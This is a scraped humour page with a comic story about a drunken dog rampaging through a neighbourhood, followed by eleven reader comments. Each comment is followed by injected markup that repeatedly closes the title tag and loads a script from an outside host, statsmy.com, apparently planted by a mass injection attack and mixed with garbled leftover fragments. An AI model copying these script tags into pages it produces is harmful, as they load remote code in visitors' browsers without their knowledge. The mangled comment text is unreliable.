Smooth Operator - Drunken Dog Goes On Neighborhood Rampage

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Drunken Dog Goes On Neighborhood Rampage

by Mark on 2/7/2005 (11)

Aroooo...ooOOOo...urp!

Cathy Quinn put a cold towelette on Buster Chopps' muzzle, Buster responding thankfully with a muffeled "arooOOooo"

"You got in all kinds of perfectly good trouble, didn't ya' boy?! What did ya' expect, drinking a whole bottle of good Irish Whisky in one sitting, and then tearing up the neighborhood like that? You're in the proverbial doghouse for a good while, I should say you are!"

Quinn's dog, Buster Chopps, managed to chew the lock open on the family liquor cabinet and lapped a bottle of Irish malt whisky like a cat on a cream bowl.

"Ya' made a perfect mess of things! Poor missus O'Rourke! She was on her knees diggin' her tulips, and ya' snuck up from behind and ripped her unmentionables right up from under her! And then ya' chewed the tire off Mr. Hoolihan's bicycle, and stole a whole wheel of Donegal cheese from Mr. Gallagher's cellar. What do ya'have to say for yerself?!"

Buster let out a few agonized wuffs and aroos, sipped a bit of water and flopped on his belly like a beached flounder

"And missus Fitzpatrick swore she'd sue us if her prize poodle gives birth to a bunch of mutts with yer' ugly mug on 'em! Yer' a regular Ned Kelly, ya' are!"

Buster mustered a few half-hearted aroos, burped and broke wind

"We'll I'll overlook this mess this time, but dontcha' let it happen again, mark my words, Buster Chopps, mark my words!"

Quinn resolved never to keep alcoholic spirits in her house again, although Buster reportedly had already buried a bottle behind the hen house in the back yard for safekeeping.<

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1. by Katy on 3/1/2007 4:52:29 PM

Yours is a humour all its own heh." </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by DamnYo on 3/1/2007 4:52:29 PM

Sweet! Can I pay to have Fark link me too?h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Motz on 3/1/2007 4:52:29 PM

You can't pay to have your stories posted on Fark. They have to be accepted. I've had 4 put on, and they got there by their good merit. What do you want from me? I'm good! hehehn.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by dolt on 3/1/2007 4:52:29 PM

Ya' made a perfect mess of that 'article ya did! Poor farkers! We were surfin' the web readin' and all of a sudden this article snuck up behind us and gave us all brain tumors! Then ya went so far with the article we all shit our pants in unison! this story makes suicide seem reasonable thanks alottp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Mark Motz, author on 3/1/2007 4:52:29 PM

Thanks! :)isplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Mark Motz on 3/1/2007 4:52:29 PM

Anyhoo, this story makes #5 on Fark! Can't TOUCH this!!?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Joey Jojo on 3/1/2007 4:52:29 PM

Intresting story, though the style of writting makes it painful to read.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Leeds on 3/1/2007 4:52:29 PM

phhhph Critics, they want humour and style, no pleasing some people. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Leeds on 3/1/2007 4:52:29 PM

What is writting anyway? Sounds painfull </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motz on 3/1/2007 4:52:29 PM

so much trouble, by so many ,over a drunken dog! That's the Internet!n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Leeds on 3/1/2007 4:52:29 PM

Will someone please think of the puppies?h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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